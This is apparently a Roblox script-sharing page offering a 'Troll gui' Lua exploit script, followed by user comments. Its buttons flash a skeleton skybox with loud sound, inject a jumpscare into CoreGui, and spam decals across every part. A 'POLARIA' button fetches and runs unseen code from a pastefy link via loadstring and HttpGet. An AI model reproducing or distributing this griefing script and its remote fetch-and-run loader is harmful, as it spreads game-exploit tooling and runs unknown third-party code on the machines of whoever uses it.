Troll gui
Key RequiredUniversal

Troll gui

Universal ScriptERROR_ERROR777ERROR_ERROR777 6.9K views 75 executesUpdated Jul 7, 2025
5.0/ 5(1 votes)
10100% Positive
Lua Script•162 lines (5417 chars)
-- LocalScript inside StarterGui

local player = game.Players.LocalPlayer
local playerGui = player:WaitForChild("PlayerGui")

-- Create ScreenGui
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "c00lgui"
screenGui.Parent = playerGui

-- Main Frame
local mainFrame = Instance.new("Frame")
mainFrame.Size = UDim2.new(0, 300, 0, 200)
mainFrame.Position = UDim2.new(0, 20, 0.4, -100) -- Left side, centered vertically
mainFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 0) -- Yellow Neon
mainFrame.BorderSizePixel = 0
mainFrame.Parent = screenGui

-- Background Frame (Black Neon)
local background = Instance.new("Frame")
background.Size = UDim2.new(1, -10, 1, -10)
background.Position = UDim2.new(0, 5, 0, 5)
background.BackgroundColor3 = Color3.fromRGB(0, 0, 0) -- Black Neon
background.BorderSizePixel = 0
background.Parent = mainFrame

-- Title Text
local title = Instance.new("TextLabel")
title.Size = UDim2.new(1, 0, 0, 40)
title.Position = UDim2.new(0, 0, 0, 0)
title.BackgroundTransparency = 1
title.TextColor3 = Color3.fromRGB(255, 255, 0)
title.Text = "Troll GUI"
title.Font = Enum.Font.SciFi
title.TextScaled = true
title.Parent = background

-- Function to Create Buttons
local function createButton(name, position, callback)
    local button = Instance.new("TextButton")
    button.Size = UDim2.new(0, 120, 0, 40)
    button.Position = position
    button.BackgroundColor3 = Color3.fromRGB(255, 255, 0) -- Yellow Neon
    button.TextColor3 = Color3.fromRGB(0, 0, 0) -- Neon Black
    button.Font = Enum.Font.SciFi
    button.TextScaled = true
    button.Text = name
    button.Parent = background
    button.MouseButton1Click:Connect(callback)
end

-- Skeleton Sky Script
local function skeletonSky()
    local imageOne = "http://www.roblox.com/asset/?id=169585459"
    local imageTwo = "http://www.roblox.com/asset/?id=169585475"
    local imageThree = "http://www.roblox.com/asset/?id=169585485"
    local imageFour = "http://www.roblox.com/asset/?id=169585502"
    local imageFive = "http://www.roblox.com/asset/?id=169585515"
    local imageSix = "http://www.roblox.com/asset/?id=169585502"
    local imageSeven = "http://www.roblox.com/asset/?id=169585485"
    local imageEight = "http://www.roblox.com/asset/?id=169585475"

    local Spooky = Instance.new("Sound", workspace)
    Spooky.SoundId = "rbxassetid://174270407"
    Spooky.Volume = 15
    Spooky.Looped = true
    Spooky:Play()

    local Sky = Instance.new("Sky", game.Lighting)
    local skyImages = {imageOne, imageTwo, imageThree, imageFour, imageFive, imageSix, imageSeven, imageEight}

    spawn(function()
        while true do
            for _, image in pairs(skyImages) do
                Sky.SkyboxBk = image
                Sky.SkyboxDn = image
                Sky.SkyboxFt = image
                Sky.SkyboxLf = image
                Sky.SkyboxRt = image
                Sky.SkyboxUp = image
                wait(0.15)
            end
        end
    end)
end

-- Jumpscare Script
local function jumpscare()
    local CoreGui = game:GetService("CoreGui")
    local gui = Instance.new("ScreenGui", CoreGui)
    gui.Name = "JumpscareGUI"

    local img = Instance.new("ImageLabel", gui)
    img.Size = UDim2.new(1, 0, 1, 0)
    img.BackgroundTransparency = 1
    img.Image = "http://www.roblox.com/asset/?id=134454523148519"
    img.ZIndex = 1000

    local s = Instance.new("Sound", img)
    s.SoundId = "rbxassetid://103215672097028"
    s.Volume = 1
    s:Play()

    s.Ended:Connect(function()
        img:Destroy()
        gui:Destroy()
    end)
end

-- POLARIA Script
local function polaria()
    local requireScript = loadstring(game:HttpGet("https://pastefy.app/cDHeL11e/raw"))
    requireScript()('username', ':Pload')
end

-- Decal Spam Script
local function decalSpam()
    local decalID = 79353930940154

    local function exPro(root)
        for _, v in pairs(root:GetChildren()) do
            if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id=" .. decalID then
                v.Parent = nil
            elseif v:IsA("BasePart") then
                v.Material = Enum.Material.Plastic
                v.Transparency = 0

                local faces = {"Front", "Back", "Right", "Left", "Top", "Bottom"}
                for _, face in ipairs(faces) do
                    local decal = Instance.new("Decal", v)
                    decal.Texture = "http://www.roblox.com/asset/?id=" .. decalID
                    decal.Face = Enum.NormalId[face]
                end
            end
            exPro(v)
        end
    end

    exPro(game.Workspace)
end

-- Create Buttons
createButton("Skeleton Sky", UDim2.new(0, 20, 0, 60), skeletonSky)
createButton("Jumpscare", UDim2.new(0, 160, 0, 60), jumpscare)
createButton("POLARIA", UDim2.new(0, 20, 0, 120), polaria)
createButton("Decal Spam", UDim2.new(0, 160, 0, 120), decalSpam)

-- Text Below the GUI
local infoText = Instance.new("TextLabel")
infoText.Size = UDim2.new(0, 300, 0, 40)
infoText.Position = UDim2.new(0, 20, 0.4, 90) -- Below the GUI (mainFrame height is 200)
infoText.BackgroundTransparency = 1
infoText.TextColor3 = Color3.fromRGB(255, 255, 0) -- Yellow neon
infoText.Text = "https://discord.gg/x3nbc4Ct"
infoText.Font = Enum.Font.SciFi
infoText.TextScaled = true
infoText.Parent = screenGui

-- Rotate Text +15°
local textRotation = Instance.new("UIRotation")
textRotation.Rotation = 15
textRotation.Parent = infoText

Features & Information

Troll gui I made itt btw im bored And have fun And join to my discord https://discord.gg/x3nbc4Ct
#Gui

Community Comments (4)

yargan85esrayargan85esraJul 7, 2025

Waste literally its fe wich means only the user of script can see and other ppl see nothing

ERROR_ERROR777ERROR_ERROR777Jul 9, 2025

I need time but tomorrow going to have a script who is not visual

derproderproOct 18, 2025

other people cant see it but it works on solara

HackkerHackkerDec 3, 2025

Bruh

More Scripts for Universal Scripts